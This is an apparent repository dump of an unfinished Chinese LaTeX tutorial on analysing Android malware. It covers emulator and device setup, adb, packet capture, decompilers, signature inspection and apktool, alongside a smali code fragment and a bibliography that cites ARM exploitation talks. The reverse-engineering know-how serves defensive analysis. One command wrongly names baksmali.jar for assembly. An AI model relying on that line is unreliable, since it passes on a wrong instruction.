| invoke-virtual {v1}, Ljava/io/InputStream;->close()V 185 | :try_end_10 186 | 187 | .catch Ljava/net/MalformedURLException; {:try_start_4 .. :try_end_10} :catch_11 188 | 189 | .catch Ljava/io/IOException; {:try_start_4 .. :try_end_10} :catch_36 190 | 191 | .line 46 192 | .end local v1 193 | .end local v2 194 | :goto_10 195 | return-void 196 | 197 | .line 39 198 | :catch_11 199 | move-exception v4 200 | move-object v0, v4 201 | 202 | .line 41 203 | .local v0, e:Ljava/net/MalformedURLException; 204 | sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream; 205 | 206 | new-instance v5, Ljava/lang/StringBuilder; 207 | const-string v6, "Invalid URL " 208 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;->(Ljava/lang/String;)V 209 | invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 210 | move-result-object v5 211 | 212 | const-string v6, ": " 213 | invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 214 | move-result-object v5 215 | 216 | invoke-virtual {v0}, Ljava/net/MalformedURLException;->getMessage()Ljava/lang/String; 217 | move-result-object v6 218 | 219 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 220 | move-result-object v5 221 | 222 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; 223 | move-result-object v5 224 | 225 | invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V 226 | 227 | goto :goto_10 228 | 229 | .line 42 230 | .end local v0 231 | 232 | :catch_36 233 | move-exception v4 234 | move-object v0, v4 235 | 236 | .line 44 237 | .local v0, e:Ljava/io/IOException; 238 | sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream; 239 | 240 | new-instance v5, Ljava/lang/StringBuilder; 241 | const-string v6, "Unable to execute " 242 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;->(Ljava/lang/String;)V 243 | invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 244 | move-result-object v5 245 | 246 | const-string v6, ": " 247 | invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 248 | move-result-object v5 249 | 250 | invoke-virtual {v0}, Ljava/io/IOException;->getMessage()Ljava/lang/String; 251 | move-result-object v6 252 | 253 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 254 | move-result-object v5 255 | 256 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; 257 | move-result-object v5 258 | 259 | invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V 260 | 261 | goto :goto_10 262 | .end method 263 | -------------------------------------------------------------------------------- /chapter-cn/dynamic.tex: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \chapter{动态分析} 3 | 动态分析是需要样本中的代码在目标系统实际运行起来的分析方式。与静态分析相比,它能够获得更直观、更全面的结果。此外,对采用了代码混淆等对抗技术的样本,动态分析会是主要的手段。 4 | 5 | 与静态分析相比,动态分析的知识点比较杂,没有系统的基础知识,也需要更高的创造力和综合能力。 6 | 7 | \section{运行环境} 8 | \subsection{模拟器} 9 | Android SDK提供了用于应用软件开发的Android模拟器\lstinline!emulator!\cite{url:android_emulator}\index{emulator},是首选的运行环境。 10 | \begin{figure}[htbp] 11 | \centering 12 | \includegraphics[width=14cm]{image/emulator.png} 13 | \caption{emulator模拟器} 14 | \end{figure} 15 | 16 | \lstinline!emulator!中模拟的Android系称为AVD(Android Virtual Device),由SDK中\lstinline!android!\cite{url:android_android}\index{android}工具创建: 17 | \begin{lstlisting}[language=bash, numbers=none] 18 | $ android create avd -n my_avd -t android-10 19 | \end{lstlisting} 20 | 21 | 可以使用图形化的AVD Manager直接启动AVD,也可以使用\lstinline!emulator!直接启动。使用命令行参数可以手工指定一些高级选项,这在一些分析时可能会用上。这些参数如下: 22 | \begin{itemize} 23 | \item \lstinline!-avd!,必选参数,指定AVD的名字 24 | \item \lstinline!-data!,手工指定一个data分区镜像文件 25 | \item \lstinline!-ramdisk!,手工指定一个RAM镜像文件 26 | \item \lstinline!-kernel!,手工指定一个内核文件 27 | \item \lstinline!-system!,手工指定一个system分区镜像文件 28 | \item \lstinline!-sdcard!,手工指定一个SD卡镜像文件,该文件可以用\lstinline!mksdcard!创建 29 | \item \lstinline!-dns-server!,给出DNS服务器地址,可以指向自己搭建的DNS服务器,模拟样本依赖的服务器 30 | \item \lstinline!-http-proxy!,当样本访问被墙的网址时,可以通过SSH隧道和本地HTTP端口转发 31 | \item \lstinline!-debug!,打开或关闭指定的调试标签,让\lstinline!emulator!输出调试信息,可以使用\lstinline!emulator -help-debug-tags!察看有哪些标签 32 | \end{itemize} 33 | 例如,\lstinline!droidbox!的启动命令行是: 34 | \begin{lstlisting}[language=bash, numbers=none] 35 | $ emulator -avd droidbox -system system.img -ramdisk ramdisk.img -kernel zImage -prop dalvik.vm.execution-mode=int:portable 36 | \end{lstlisting} 37 | 38 | \lstinline!emulator!的不足之处是: 39 | \begin{itemize} 40 | \item 虽然可以模拟短信和通话,但并没有与真正的移动通信网络相连 41 | \item 对依赖于ROM环境、依赖于特定手机型号的样本不起作用 42 | \end{itemize} 43 | 44 | \subsection{手机} 45 | 手机可以提供运行样本的真实环境,并且与移动通信网相连。主要缺点是成本较高。 46 | 47 | 推荐Google的Nexus S型号手机,原因包括: 48 | \begin{itemize} 49 | \item 直接使用Android源码可以编译Nexus S系统镜像,自行修改的源码可以获得真实的运行环境,并且可以对该镜像做自由的修改,比如有root权限、可以修改启动配置等 50 | \item 诸如TaintDroid、AppFence等项目均提供了用于Nexus S的源码 51 | \item 可以在第一时间获得新版本系统,例如Android 4.0 52 | \item 综合性价比较高 53 | \end{itemize} 54 | 55 | \subsection{Android-x86} 56 | Android-x86\cite{url:android_x86}\index{Android-x86}提供了用于Intel x86处理器的Android系统镜像,可以将其安装到诸如VirtualBox和VMware WorkStation这样的虚拟机中。有研究称该项目系统的启动速度是\lstinline!emulator!中AVD启动速度的四分之一。 57 | 58 | \section{设备管理} 59 | \subsection{adb} 60 | \lstinline!adb!是连接PC与设备(模拟器或手机)的主要工具,其用法在Android开发文档中有详细的说明\cite{url:android_adb}。 61 | 62 | 它的功能包括: 63 | \begin{itemize} 64 | \item 提供了一个访问Android底层Linux系统的shell 65 | \item 通过push和pull在PC和设备之间传输文件 66 | \item 通过install和uninstall安装或卸载应用程序 67 | \item 转发对Android系统的调试指令和数据 68 | \item 通过logcat获取系统进程和应用程序输出的日志信息 69 | \end{itemize} 70 | 71 | \subsubsection{shell} 72 | 输入下面的命令将连接设备并打开一个shell。 73 | \begin{lstlisting}[numbers=none] 74 | $ adb shell 75 | \end{lstlisting} 76 | 如果得到的提示符是\lstinline!\$!,是一个没有root权限的shell;如果提示符是\lstinline!\#!,则是有root权限的shell。 77 | 78 | 在设备系统的/system/bin目录下,提供了一些实用工具,例如Linux下常用的\lstinline!ls!、\lstinline!chmod!等,也有一些Android的小工具,例如\lstinline!am!等。 79 | 80 | 如果只是执行一两条指令,可以不进入交互式shell,而直接在本地完成,例如: 81 | \begin{lstlisting}[numbers=none] 82 | $ adb shell ls /data/data 83 | \end{lstlisting} 84 | 85 | shell是在Linux层操作Android系统的主要方式。 86 | 87 | \subsubsection{文件传输} 88 | 把本地文件发送至设备路径: 89 | \begin{lstlisting}[numbers=none] 90 | $ adb push /path/to/local/file /path/to/device/target 91 | \end{lstlisting} 92 | 93 | 从设备的指定路径获取文件: 94 | \begin{lstlisting}[numbers=none] 95 | $ adb pull /path/to/device/file /path/to/local/target 96 | \end{lstlisting} 97 | 这两条命令需要对设备端的路径和文件有相应的写和读的权限。如果权限不够,需要在root权限的shell下\lstinline!remount!分区;或者使用\lstinline!/data/local/tmp!目录作为中转站(普通权限的shell即可访问该目录),在root权限下做进一步拷贝。例如: 98 | \begin{lstlisting}[numbers=none] 99 | host$ adb push ./tcpdump /data/local/tmp 100 | host$ adb shell 101 | device$ su 102 | device# cp /data/local/tmp/tcpdump /system/bin/tcpdump 103 | device# chmod 6755 /system/bin/tcpdump 104 | device# exit 105 | device$ exit 106 | host$ 107 | \end{lstlisting} 108 | 109 | \subsubsection{安装和卸载} 110 | 将本地APK文件安装至设备很简单: 111 | \begin{lstlisting}[numbers=none] 112 | $ adb install /path/to/local/app.apk 113 | \end{lstlisting} 114 | 115 | 而与之相应的卸载则需要先知道应用程序的package name: 116 | \begin{lstlisting}[language=bash, numbers=none] 117 | $ adb uninstall app.full.package.name 118 | \end{lstlisting} 119 | 这个package name与该应用在设备系统的\lstinline!/data/data!路径下的子目录名完全相同。 120 | 121 | \subsubsection{转发端口} 122 | 例如建立本地端口6100与设备端口7100之间的转发: 123 | \begin{lstlisting}[numbers=none] 124 | $ adb forward tcp:6100 tcp:7100 125 | \end{lstlisting} 126 | 这种转发将在后面的远程调试时使用。 127 | 128 | \subsubsection{捕获日志} 129 | 使用: 130 | \begin{lstlisting}[numbers=none] 131 | $ adb logcat 132 | \end{lstlisting} 133 | 可以在本地终端显示应用程序的运行日志,例如调试信息和出错信息等。\lstinline!logcat!可以配合参数与日志过滤器,例如\lstinline!droidbox!的日志捕获使用的命令就是: 134 | \begin{lstlisting}[numbers=none] 135 | $ adb logcat dalvikvm:W *:S 136 | \end{lstlisting} 137 | 具体用法可以参考\lstinline!adb!的文档。 138 | 139 | \subsection{ddms} 140 | \begin{figure}[htbp] 141 | \centering 142 | \includegraphics[width=14cm]{image/ddms.png} 143 | \caption{ddms的主界面} 144 | \end{figure} 145 | SDK中的\lstinline!ddms!\index{ddms}工具提供了一个可视化调试环境,功能包括: 146 | \begin{itemize} 147 | \item 设备进程和线程管理 148 | \item 进程的内存管理 149 | \item 可视化logcat工具,以及图形化的过滤器 150 | \item 设备文件浏览 151 | \item 设备屏幕捕获 152 | \item dump设备状态和应用程序状态 153 | \end{itemize} 154 | 155 | \section{网络分析} 156 | \subsection{tcpdump} 157 | 为了捕获样本在运行期间产生的网络数据,需要对其抓包。主要工具是\lstinline!tcpdump!\index{tcpdump}。针对不同的场景,可以在三个不同的位置使用这一工具。 158 | 159 | \subsubsection{模拟器} 160 | 模拟器\lstinline!emulator!有一个没有公开的参数\lstinline!-tcpdump!,在启动模拟器时,通过该参数指定一个本地文件路径,可以将模拟器运行期间产生的所有网络数据捕获到指定的文件,该文件为PCAP格式,可以使用\lstinline!wireshark!或\lstinline!libpcap!解析。 161 | \begin{lstlisting}[numbers=none] 162 | $ emulator -avd my_avd_name -tcpdump /path/to/dump.pcap 163 | \end{lstlisting} 164 | 使用模拟器抓包的优点是不会捕获到本机其他进程产生的网络数据,缺点是: 165 | \begin{itemize} 166 | \item 对真实手机显然无效 167 | \item Android系统在开机时大量使用网络端口传输调试信息等,因此捕获的PCAP数据包中有大量的无意义数据需要区分 168 | \end{itemize} 169 | 170 | \subsubsection{Android系统} 171 | 有移植到Android底层的原生\lstinline!tcpdump!工具,但其运行需要root权限。这一工具可以在模拟器中的系统里运行,但更多时候用于真实手机系统的抓包。 172 | \begin{lstlisting}[numbers=none] 173 | host$ adb push ./tcpdump /data/local/tmp/tcpdump 174 | host$ adb shell 175 | device$ su 176 | device# chmod 6755 /data/local/tmp/tcpdump 177 | device# /data/local/tmp/tcpdump -p -vv -s 0 -w /sdcard/capture.pcap 178 | \end{lstlisting} 179 | 其中,最后一行是启动\lstinline!tcpdump!,捕获一切数据包并保存在SD卡根目录下。不再需要捕包时,可以按下Ctrl + C终止。 180 | 181 | 在系统中使用原生\lstinline!tcpdump!的优点是能根据需要开始和结束捕包,并且在真实手机上也行之有效。主要缺点是要求拥有系统的root权限。 182 | 183 | \subsubsection{Wi-Fi} 184 | 如果是没有root权限的手机,接下来的方法就只有通过Wi-Fi接入互联网,并且在网络上捕包了。例如,在无线路由器与网关之间加入一个集线器,在集线器上另外接一根网线到PC机上。由于集线器这种物理层设备会广播所有的网络流量,因此在PC上就可以捕获到手机通过无线路由器与Internet通信的所有数据。这种方案依然存在不足: 185 | \begin{itemize} 186 | \item 会捕获到所有经过路由器的流量数据 187 | \item 极少数恶意代码只通过GPRS和3G联网 188 | \end{itemize} 189 | 190 | \subsection{Wireshark} 191 | Wireshark\cite{url:wireshark}\index{Wireshark}是分析网络数据最常用也最强大的工具。在此不再专门介绍。 192 | 193 | \section{行为模拟} 194 | 很多样本的恶意行为只在一定条件下触发,但在分析环境中,这些条件不一定能立即实现。此时需要对相应的条件进行模拟。在Android SDK文档中对此已经有一些介绍\cite{url:android_using_emulator}。 195 | 196 | \subsection{am} 197 | \lstinline!am!\index{am}是Android系统中的一个工具,位于/system/bin目录下,实际上是基于\lstinline!/system/framework/am.jar!执行\lstinline!com.android.commands.am.Am!类的代码。\lstinline!am!的主要作用即是启动活动(activity)、意图(intent)、广播(broadcast)等。 198 | 199 | \lstinline!am!的用法如下: 200 | \lstinputlisting[firstline=1, lastline=20, numbers=none]{code/am.txt} 201 | 202 | 其中,\lstinline!am start!用于启动一个活动;\lstinline!am startservice!用于启动一个服务;\lstinline!am broadcast!用于发送一个广播。它们的参数都是一个一个意图(Intent)。\lstinline!am!中intent的写法如下: 203 | \lstinputlisting[firstline=76, lastline=101, numbers=none]{code/am.txt} 204 | 205 | \subsection{telnet} 206 | 207 | \subsection{DNS} 208 | 209 | \subsection{openBTS} 210 | 211 | \section{行为跟踪} 212 | \subsection{LBE} 213 | \subsection{androidAuditTools} 214 | androidAuditTools\cite{url:androidaudittools} 215 | 216 | \section{调试} 217 | \label{Sec:debug} 218 | \subsection{apktool} 219 | \subsection{AndBug} 220 | 221 | \section{沙盒} 222 | \subsection{TaintDroid} 223 | \subsection{droidbox} 224 | \subsection{Anubis} 225 | 226 | \section{衍生文件} 227 | -------------------------------------------------------------------------------- /chapter-cn/static.tex: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \chapter{静态分析} 3 | 静态分析是指不将样本中的代码实际运行起来的逆向分析。它的优点包括: 4 | \begin{itemize} 5 | \item 理论上可以得到样本的全部代码和行为 6 | \item 不需要真实的运行环境 7 | \item 分析速度较快 8 | \item 适合自动化分析 9 | \item 是检测技术的主要基础 10 | \end{itemize} 11 | 12 | 但静态分析也不是万能的。当样本的代码比较复杂时,静态分析需要很长的时间,而相比起来动态监控也许能得到更直观的结果。此外,如果样本有使用代码混淆,静态分析将极难进行。 13 | 14 | 对Android样本的静态分析包括: 15 | \begin{itemize} 16 | \item 对Android XML格式的解码 17 | \item 对DEX文件格式的解析 18 | \item 对Dalvik指令的“反汇编”(即等价转换为适合于人阅读的形式) 19 | \item 对Dalvik指令的反编译 20 | \item 对ELF文件格式的解析 21 | \item 对ARM指令的反汇编 22 | \item 对ARM指令的反编译 23 | \end{itemize} 24 | 25 | 其中,对ARM的静态分析将在第\ref{Chap:arm}章单独介绍。 26 | 27 | \section{AXML解码} 28 | \label{Sec:xml-decode} 29 | Android中大量使用XML,用于项目配置(AndroidManifest.xml)、界面布局、字符串资源等。其中,AndroidManifest.xml中描述了应用程序的基本组件及其参数,这些基本组件可以说是恶意代码分析的“入口点”;此外,其中还包括应用程序运行所申请的额外的安全权限,这也是Android系统安全机制的一个重要组成部分。 30 | 31 | 但在APK文件中,这些XML文件并不是直接被压缩进去的,而是先被转成了一种特殊的格式(通常称之为AXML格式\index{AXML}),然后再被打包压缩到APK文件。在Android系统中,这些AXML格式文件也不会被还原为XML明文,而是直接进行解析。可惜的是,这种格式的文件,其内容无法直接被阅读。 32 | 33 | 为什么需要这么做?传统的XML解析有两种模型:SAX(Simple API for XML)和DOM(Document Object Model)。SAX的主要思路是遍历整个XML文件,每次遇到不同的对象(例如一个属性、一个节点开始、一个节点结束等),就触发相应的回调函数对其进行处理。这种解析方法的内存占用很少,适合于只需要遍历XML文件一次或少数几次就能把需要的事情都处理完的应用场景。但在Android中,由于AndroidManifest.xml会被多次使用(比如说,每次调用敏感API时都要检查其权限),所以并不适合使用SAX。DOM的主要思想则是将XML视为一棵树,在内存中建立并长期维护这颗树,而所有对XML的解析都变成对这颗树的访问。它的优点是可以每次访问都很快,甚至可以并行地方法(存在一定的读写互斥问题,这是另一个很有意思的话题)。但它的缺点也很明显,即需要长期占用较大的内存,对手机设备来说,内存是很重要的资源,这种消耗是应该要避免的。 34 | 35 | 实际上还有一种解析模型,叫PULL\cite{url:xmlpull},它是SAX和DOM的折中方案。它很类似于SAX的事件触发机制,但这种触发并不调用事先注册的回调函数,而是由解析者自己触发事件并根据实际情况做自己的事情。由于这种主动性,即解析者可以自己决定哪些地方是感兴趣的、哪些地方不是,所以可以非常轻量地跳转到自己需要的那一部分数据做解析。 36 | 37 | 已经说得比较远了。之所以介绍PULL,是因为Android不但使用了PULL,还为PULL模型专门设计了AXML格式,这种格式的PULL解析非常容易实现,解析速度很快。此外,AXML还将所有字符串使用UTF-16LE编码、所有字段4字节内存对齐(Dalvik虚拟机和ARM处理器在访问4字节对齐数据时都会更快)、对重复字符串资源做成单实例等优化、根据需要解析字符串等。通过这些优化,进一步提高了Android系统解析XML文件的效率。 38 | 39 | \subsection{AXMLPrinter2} 40 | \lstinline!AXMLPrinter!\index{AXMLPrinter}是开源项目android4me\cite{url:android4me}的一个产品,可以将从XML到AXML的编码过程逆向执行,即将AXML文件还原为可读的XML形式。它的使用非常简单: 41 | \begin{lstlisting}[language=bash, numbers=none] 42 | $ java -jar AXMLPrinter2.jar encoded.xml > decoded.xml 43 | \end{lstlisting} 44 | 45 | \subsection{其他} 46 | 如果要在自己的工具中实现AXML解码,通过外部命令行调用AXMLPrinter也许不方便,这时候需要可复用的源码。下面是推荐的源码: 47 | 48 | \begin{table}[htbp] 49 | \caption{AXML解析源码} 50 | \centering 51 | \begin{tabular}{lll} 52 | \toprule 53 | 项目 & 语言 & 地址 \\ 54 | \midrule 55 | AXMLPrinter & Java & \url{http://code.google.com/p/android4me/} \\ 56 | androguard & Python & \url{http://code.google.com/p/androguard/}\\ 57 | AndTools & C & \url{https://www.github.com/claudxiao/AndTools} \\ 58 | \bottomrule 59 | \end{tabular} 60 | \end{table} 61 | 62 | \section{反汇编} 63 | APK文件中的classes.dex文件用于在Dalvik虚拟机中被加载和执行,对它的逆向是静态分析的主要工作。本节介绍将其opcode反汇编为可阅读指令的工具,但该文件的格式、这些指令的含义,均在后面第\ref{Chap:dalvik}章专门介绍。 64 | 65 | \subsection{smali} 66 | \lstinline!smali!\cite{url:smali}\index{smali}工具由两个文件smali.jar和baksmali.jar组成。 67 | 68 | baksmali.jar用于反汇编: 69 | \begin{lstlisting}[language=bash, numbers=none] 70 | $ java -jar baksmali.jar classes.dex -o dir 71 | \end{lstlisting} 72 | 上述命令会在dir目录下输出classes.dex的反汇编结果,每个Java类一个文件,扩展名为.smali,并以Java包名来组织路径。例如,\lstinline!com.example.Hello!类将生成com/example/Hello.smali文件。 73 | 74 | smali.jar则用于将.smali文件汇编为DEX文件: 75 | \begin{lstlisting}[language=bash, numbers=none] 76 | $ java -jar baksmali.jar dir -o classes_new.dex 77 | \end{lstlisting} 78 | 79 | \lstinline!smali!使用基于\lstinline!jasmin!\cite{url:jasmin}\index{jasmin}的汇编语法。lohan+为这种语法编写了UltraEdit、Notepad++、Vim和SyntaxHighlighter的语法高亮文件,可以在其博客上下载\cite{url:androidcracking}。这个博客还提供了一些逆向分析教程和资料。 80 | 81 | \lstinline!smali!的另一个优势在于它支持odex格式文件(参考第\ref{Sec:odex}节)的反汇编。TODO 82 | 83 | 因为精确地汇编与反汇编,\lstinline!smali!成为Android恶意代码编写和分析中最常用的工具之一。 84 | 85 | \subsection{dedexer} 86 | \lstinline!dedexer!\cite{url:dedexer}\index{dedexer}是另一个Dalvik反汇编工具,用法是: 87 | \begin{lstlisting}[language=bash, numbers=none] 88 | $ java -jar ddx.jar -d dir classes.dex 89 | \end{lstlisting} 90 | 如果使用\lstinline!-o!参数,还将在dir目录下输出名为dex.log的DEX文件和指令解析日志。 91 | 92 | \subsection{IDA Pro} 93 | 从6.1开始,IDA Pro\index{IDA Pro}支持对DEX格式的解析,以及对Dalvik指令集的反汇编。 94 | 95 | \begin{figure}[htbp] 96 | \centering 97 | \includegraphics[width=14cm]{image/ida-dex.png} 98 | \caption{使用IDA Pro反汇编classes.dex文件} 99 | \label{Fig:ida-dex} 100 | \end{figure} 101 | 102 | 用IDA Pro分析DEX文件的主要优点是会对函数调用建立交叉索引关系。这在DEX文件被ProGuard混淆后非常有用。因为代码混淆就是通过移除有效的名称信息,降低逆向分析的可理解性,并提高人工查找交叉引用关系和搜索名字的难度。 103 | 104 | IDA Pro是一个非常强大的工具,在后面我们还会介绍使用它进行ARM的反汇编和调试。深入学习IDA Pro的使用方法和原理是值得的,而最好的书是\cite{ida_pro}。 105 | 106 | \section{反编译} 107 | 将Java源码编译为Dalvik指令分为两步:先使用\lstinline!javac!将源码编译为.class文件,再使用\lstinline!dx!转换为DEX文件。反之,将DEX文件反编译为Java源码通常也是两步:将DEX再次转换为.class或.jar文件,主要是指令和文件格式的转换;然而将.class或.jar文件用Java反编译器反编译成Java源码。 108 | 109 | \subsection{dex2jar} 110 | \lstinline!dex2jar!\cite{url:dex2jar}\index{dex2jar}将classes.dex逆向为Java的类文件(.class文件),并打包为.jar格式。 111 | 112 | \lstinline!dex2jar!并不直接使用classes.dex,它自带了解析APK的功能,命令为: 113 | \begin{lstlisting}[language=bash, numbers=none] 114 | $ ./dex2jar Example.apk 115 | \end{lstlisting} 116 | 最后在当前目录生成名为Example.apk.dex2jar.jar的文件。 117 | 118 | 应当注意的是,\lstinline!dex2jar!工具的结果并不完全精确。目前已知在转换\lstinline!switch!、\lstinline!try-catch!等函数结构时,将会出错,具体示例和原因分析可以参考\ref{SubSec:dalvik-smali-switch}节和\ref{SubSec:dalvik-smali-trycatch}节。 119 | 120 | \subsection{jd-gui} 121 | \lstinline!jd-gui!\cite{url:jd-gui}\index{jd-gui}是一个图形界面的Java反编译器,可以用来反编译\lstinline!dex2jar!产生的jar文件。 122 | 123 | \begin{figure}[htbp] 124 | \centering 125 | \includegraphics[width=14cm]{image/jd-gui.png} 126 | \caption{使用jd-gui反编译dex2jar的结果} 127 | \label{Fig:jd-gui} 128 | \end{figure} 129 | 130 | \lstinline!dex2jar!对部分函数结构的逆向错误将直接在\lstinline!jd-gui!的反编译结果中显示出来。此外,部分特殊优化的类方法(函数),\lstinline!jd-gui!的反编译将失败。目前还不清楚原因。 131 | 132 | \subsection{ded} 133 | \lstinline!ded!\cite{url:ded}\index{ded}是宾西法尼亚大学研究人员开发的软件,可以将DEX文件转为Java的.class文件。目前只能在Linux和Mac OS X下使用。 134 | 135 | \lstinline!ded!使用\lstinline!soot!\cite{url:soot}\index{soot}对.class文件做优化,优化后反编译得到的Java源文件效果较好,在一些细节上优于\lstinline!dex2jar!和\lstinline!jd-gui!的组合,尤其是对一些循环结构和异常处理代码的反编译上。但soot的运行速度极慢、占用内存较多。 136 | 137 | \lstinline!ded!的安装和使用方法请参考其主页的说明。 138 | 139 | \subsection{其他} 140 | 其他反编译器还有\lstinline!undx!\cite{url:undx}\index{undx}和\lstinline!dex-decomplier!\cite{url:dex-decomplier}\index{dex-decomplier},但效果如何,还没有试用过。 141 | 142 | \lstinline!undx!的作者做过一个介绍其实现原理的报告\cite{dalvik_undx},值得参考。 143 | 144 | 除了\lstinline!jd-gui!和\lstinline!soot!,常用的Java反编译工具还有\lstinline!jad!\cite{url:jad}n\index{jad}和\lstinline!dava!\cite{url:dava}\index{dava}。 145 | 146 | \section{数字签名} 147 | 数字签名是Android系统的重要安全机制之一。应用软件要被安装到手机中,必须先签名;要发布到官方市场上,还需要签上为开发者专门颁发的签名。因此,应用软件的数字签名在建立白名单、检测未知恶意代码、判断同源性和家族性等方面有很重要的价值。 148 | 149 | 可惜的是,Android的签名并不像其他系统那样,而是允许开发者自己为自己颁发签名。所以仅仅从安全的角度看,这一机制只起到了完整性校验的作用。 150 | 151 | \subsection{signapk} 152 | \lstinline!signapk!\index{signapk}是Android源码中为APK格式文件签名的程序,其源码位于build/tools/signapk/目录,编译后的结果位于的out/host/linux-x86/framework/目录。用法是: 153 | \begin{lstlisting}[language=bash, numbers=none] 154 | $ java -jar signapk.jar publickey.x509[.pem] privatekey.pk8 input.apk output.apk 155 | \end{lstlisting} 156 | APK文件经过\lstinline!signapk!签名,再使用\lstinline!zipalign!对齐,就可以安装到手机中了。 157 | 158 | \subsection{openssl} 159 | 一般情况下,APK文件的签名位于其压缩包的META-INF/CERT.RSA文件中。可以使用\lstinline!openssl!\cite{url:openssl}\index{openssl}工具查看其签名信息: 160 | \begin{lstlisting}[language=bash, numbers=none] 161 | $ openssl pkcs7 -in CERT.RSA -inform DER -print_certs 162 | \end{lstlisting} 163 | 164 | \subsection{keytool} 165 | \lstinline!keytool!\index{keytool}是一个用于生成数字签名和解析数字签名的工具,它是JavaSE的一个组件,在安装JavaSE后即可使用。用它查看APK文件数字签名信息的方法是: 166 | \begin{lstlisting}[language=bash, numbers=none] 167 | $ keytool -printcert -file META-INF/CERT.RSA 168 | \end{lstlisting} 169 | 它的输出结果包括序列号和有效期,比使用\lstinline!openssl!得到的要详细。下面是一个示例: 170 | 171 | \begin{lstlisting}[language={}, numbers=none] 172 | Owner: CN=Andorid Debug, OU=Android, O=US, L=Califonie US., ST=Califonie US. 173 | Issuer: CN=Andorid Debug, OU=Android, O=US, L=Califonie US., ST=Califonie US. 174 | Serial number: 4dfdba94 175 | Valid from: Sun Jun 19 17:00:04 CST 2011 until: Tue May 26 17:00:04 CST 2111 176 | Certificate fingerprints: 177 | MD5: CB:00:2E:4C:CD:42:4A:2D:BA:EA:A2:05:FD:F6:63:33 178 | SHA1: E2:87:FB:29:33:42:D0:B1:3F:84:10:90:2A:AE:6F:48:77:5C:A6:6D 179 | Signature algorithm name: SHA1withRSA 180 | Version: 3 181 | \end{lstlisting} 182 | 183 | \section{综合工具} 184 | \subsection{apktool} 185 | \lstinline!apktool!\cite{url:apktool}\index{apktool}是一系列工具的集合。它的功能包括:APK文件解包和打包、AXML编码与解码、资源文件的解包和打包、smali汇编与反汇编、smali调试等。 186 | 187 | 其中,最常用的功能是解包和打包。解包命令为: 188 | \begin{lstlisting}[language=bash, numbers=none] 189 | $ ./apktool d Example.apk dir 190 | \end{lstlisting} 191 | 会将Example.apk文件解包到dir目录,并自动完成其中AXML文件、资源文件、DEX文件的处理。如果省略dir参数,则解包到APK文件同名目录Example。 192 | 193 | 打包命令为: 194 | \begin{lstlisting}[language=bash, numbers=none] 195 | $ ./apktool b dir New.apk 196 | \end{lstlisting} 197 | 198 | 而在解包和打包之间,允许对配置文件AndroidManifest.xml、资源文件、smali代码的增加、删除、修改等,而重新打包后得到的APK文件在签名后可以安装到手机中运行。因此,\lstinline!apktool!常被攻击者用于恶意代码植入(参考\ref{Sec:repackage}节)或软件破解。但也可以用于恶意代码分析——增加或修改代码后进行动态分析。 199 | 200 | \lstinline!apktool!还提供对smali文件的调试功能,将在\ref{Sec:debug}节进一步介绍。 201 | 202 | \subsection{androguard} 203 | \lstinline!androguard!\cite{url:androguard}\index{androguard}是一个综合性的Android逆向分析工具,使用Python编写。\lstinline!androguard!的功能非常多,包括: 204 | \begin{itemize} 205 | \item 1 206 | \end{itemize} 207 | 208 | \subsection{apkinspector} 209 | 210 | \subsection{dexid} 211 | 212 | \subsection{otertool} 213 | -------------------------------------------------------------------------------- /amatutor-cn.bib: -------------------------------------------------------------------------------- 1 | % This file was created with JabRef 2.7b. 2 | % Encoding: UTF8 3 | 4 | @ARTICLE{arm_exploiting_linux, 5 | author = {Emanuele Acri}, 6 | title = {Exploiting ARM Linux Systems}, 7 | year = {2011}, 8 | url = {http://www.exploit-db.com/download_pdf/16151/} 9 | } 10 | 11 | @MISC{url:are, 12 | author = {{Anthony Desnos, Hanno Lemoine}}, 13 | title = {Virtual Machine for Android Reverse Engineering}, 14 | howpublished = {\url{http://redmine.honeynet.org/projects/are/wiki}} 15 | } 16 | 17 | @CONFERENCE{arm_stack_exploitation, 18 | author = {Itzhak Avraham}, 19 | title = {Non-Executable Stack ARM Exploitation}, 20 | booktitle = {Black Hat DC}, 21 | year = {2011} 22 | } 23 | 24 | @CONFERENCE{arm_exploitation, 25 | author = {Itzhak Avraham}, 26 | title = {Exploitation on ARM: Technique and bypassing defense mechanisms}, 27 | booktitle = {Def Con 18}, 28 | year = {2010} 29 | } 30 | 31 | @MISC{url:smali, 32 | author = {{Ben Gruver, et al}}, 33 | title = {smali}, 34 | howpublished = {\url{http://code.google.com/p/smali/}} 35 | } 36 | 37 | @MISC{url:soot, 38 | author = {Eric Bodden}, 39 | title = {Soot: a Java Optimization Framework}, 40 | howpublished = {\url{http://www.sable.mcgill.ca/soot/}} 41 | } 42 | 43 | @CONFERENCE{aslr_android, 44 | author = {Hristo Bojinov}, 45 | title = {Address Space Randomization for Mobile Devices}, 46 | booktitle = {ACM WiSec}, 47 | year = {2011} 48 | } 49 | 50 | @BOOK{security_mobile_comm, 51 | title = {Security of Mobile Communications}, 52 | publisher = {CRC Press}, 53 | year = {2009}, 54 | author = {Noureddine Boudriga} 55 | } 56 | 57 | @MISC{url:apktool, 58 | author = {Brut.alll}, 59 | title = {android-apktool}, 60 | howpublished = {\url{http://code.google.com/p/android-apktool/}} 61 | } 62 | 63 | @MISC{url:android_x86, 64 | author = {{Chih-Wei Huang, Yi Sun, et al}}, 65 | title = 